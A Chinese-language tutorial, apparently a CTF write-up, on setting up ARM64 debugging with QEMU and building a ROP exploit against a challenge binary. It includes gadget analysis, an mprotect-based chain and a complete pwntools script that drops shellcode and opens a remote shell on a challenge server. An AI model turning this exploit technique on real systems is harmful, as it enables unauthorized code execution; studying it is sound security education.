ARM64 调试环境搭建及 ROP 实战
字数 1420 2025-08-19 12:42:32
ARM64 调试环境搭建及 ROP 实战教学文档
一、环境准备
1.1 工具安装
# 安装交叉编译工具链和动态库
sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
# 安装qemu模拟器
sudo apt-get install qemu-user
1.2 调试环境搭建
使用QEMU运行ARM64程序并开启调试服务:
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn
参数说明:
-g 1234:在1234端口启动gdbserver-L /usr/aarch64-linux-gnu:指定动态库路径
1.3 使用socat搭建远程调试环境
socat tcp-l:10002,fork exec:"qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn",reuseaddr
二、ARM64基础
2.1 寄存器体系
- 32个64位通用寄存器:x0-x30 + sp
- 32位模式使用w0-w30(低32位)
- 特殊寄存器:
- x29 (FP):帧指针
- x30 (LR):链接寄存器,保存返回地址
- SP:栈指针
- PC:程序计数器
2.2 函数调用约定
- 前8个参数通过x0-x7传递
- 返回值通过x0传递
- 超过8个参数通过栈传递
2.3 关键指令
| 指令 | 功能描述 |
|---|---|
ret |
跳转到x30寄存器保存的地址 |
ldp x19, x20, [sp, #0x10] |
从sp+0x10读取16字节到x19和x20 |
ldp x29, x30, [sp], #0x40 |
从sp读取16字节到x29和x30,然后sp+=0x40 |
MOV X1, X0 |
寄存器间数据移动 |
blr x3 |
跳转到x3指定的地址,同时保存下条指令到x30 |
三、程序分析
3.1 保护机制检查
checksec pwn
[*] '/home/hac425/workplace/pwn'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
关键点:
- 64位ARM架构
- 开启NX(堆栈不可执行)
- 无PIE(基地址固定)
- 无栈保护
3.2 漏洞分析
__int64 sub_400818() {
sub_400760();
write(1LL, "Name:", 5LL);
read(0LL, &unk_411068, 0x200LL); // BSS段读入0x200字节
sub_4007F0();
return 0LL;
}
__int64 sub_4007F0() {
__int64 v1; // 8字节变量
return read(0LL, &v1, 512LL); // 栈溢出漏洞
}
漏洞点:
- 可以向BSS段(0x411068)写入0x200字节数据
- sub_4007F0函数存在栈溢出(8字节变量读入512字节)
四、ROP利用
4.1 利用思路
- 利用第一次输入在BSS段布置shellcode
- 通过栈溢出构造ROP链
- 调用mprotect使BSS段可执行
- 跳转到shellcode执行
4.2 偏移计算
使用cyclic模式确定溢出偏移:
from pwn import *
payload = cyclic(0x200)
崩溃后查看PC寄存器值,使用cyclic_find计算偏移:
cyclic_find(0x61616173) # 结果为72
结论:偏移为72字节
4.3 Gadget搜索与分析
使用ROPgadget工具:
ROPgadget --binary pwn > pwn.txt
关键gadget:
- Gadget 1 (0x4008CC):
ldp x19, x20, [sp, #0x10]
ldp x21, x22, [sp, #0x20]
ldp x23, x24, [sp, #0x30]
ldp x29, x30, [sp], #0x40
ret
- Gadget 2 (0x4008AC):
ldr x3, [x21, x19, lsl #3]
mov x2, x22
mov x1, x23
mov w0, w24
add x19, x19, #1
blr x3
4.4 ROP链构造
利用这两个gadget可以:
- 通过Gadget 1设置寄存器值
- 通过Gadget 2准备函数参数并跳转
具体布局:
payload = cyclic(72) # 填充
payload += p64(0x4008CC) # Gadget 1
payload += p64(0x0) # x29
payload += p64(0x4008AC) # x30 (Gadget 2)
payload += p64(0x0) # x19
payload += p64(0x0) # x20
payload += p64(0x0411068) # x21 (BSS地址)
payload += p64(0x7) # x22 (PROT_READ|PROT_WRITE|PROT_EXEC)
payload += p64(0x1000) # x23 (size)
payload += p64(0x411000) # x24 (address)
payload += p64(0x0411068 + 0x10) # 返回地址1
payload += p64(0x0411068 + 0x10) # 返回地址2 (跳转到shellcode)
4.5 Shellcode布置
第一次输入时在BSS段布置shellcode:
p.recvuntil("Name:")
payload = p64(0x4007E0) # mprotect调用地址
payload += p64(0) # 填充
payload += asm(shellcraft.aarch64.sh()) # shellcode
p.send(payload)
五、完整利用代码
from pwn import *
from time import sleep
elf = ELF("./pwn")
context.binary = elf
context.log_level = "debug"
shellcode = asm(shellcraft.aarch64.sh())
# p = remote("127.0.0.1", 10002)
p = remote("106.75.126.171", 33865)
# pause()
p.recvuntil("Name:")
payload = p64(0x4007E0) # mprotect调用地址
payload += p64(0) # 填充
payload += shellcode
p.send(payload)
payload = cyclic(72)
payload += p64(0x4008CC) # Gadget 1
payload += p64(0x0) # x29
payload += p64(0x4008AC) # x30 (Gadget 2)
payload += p64(0x0) # x19
payload += p64(0x0) # x20
payload += p64(0x0411068) # x21 (BSS地址)
payload += p64(0x7) # x22 (PROT_READ|PROT_WRITE|PROT_EXEC)
payload += p64(0x1000) # x23 (size)
payload += p64(0x411000) # x24 (address)
payload += p64(0x0411068 + 0x10) # 返回地址1
payload += p64(0x0411068 + 0x10) # 返回地址2 (跳转到shellcode)
payload += cyclic(0x100)
sleep(0.5)
p.sendline(payload)
p.interactive()
六、总结与扩展
6.1 关键点总结
-
ARM64架构特点:
- 寄存器使用方式
- 函数调用约定
- 常见指令功能
-
调试技巧:
- QEMU+GDB调试ARM程序
- 使用socat创建调试环境
- cyclic模式确定偏移
-
ROP构造:
- 多gadget组合使用
- 寄存器控制技巧
- 内存权限修改方法
6.2 扩展知识
-
mprotect参数:
- PROT_READ (0x1)
- PROT_WRITE (0x2)
- PROT_EXEC (0x4)
- PROT_NONE (0x0)
-
通用gadget特征:
- 位于程序初始化部分
- 包含多个寄存器操作
- 有清晰的栈操作模式
-
其他架构调试:
- 类似方法可用于MIPS、PowerPC等架构
- apt安装对应架构的库文件
- 使用qemu-*系列工具运行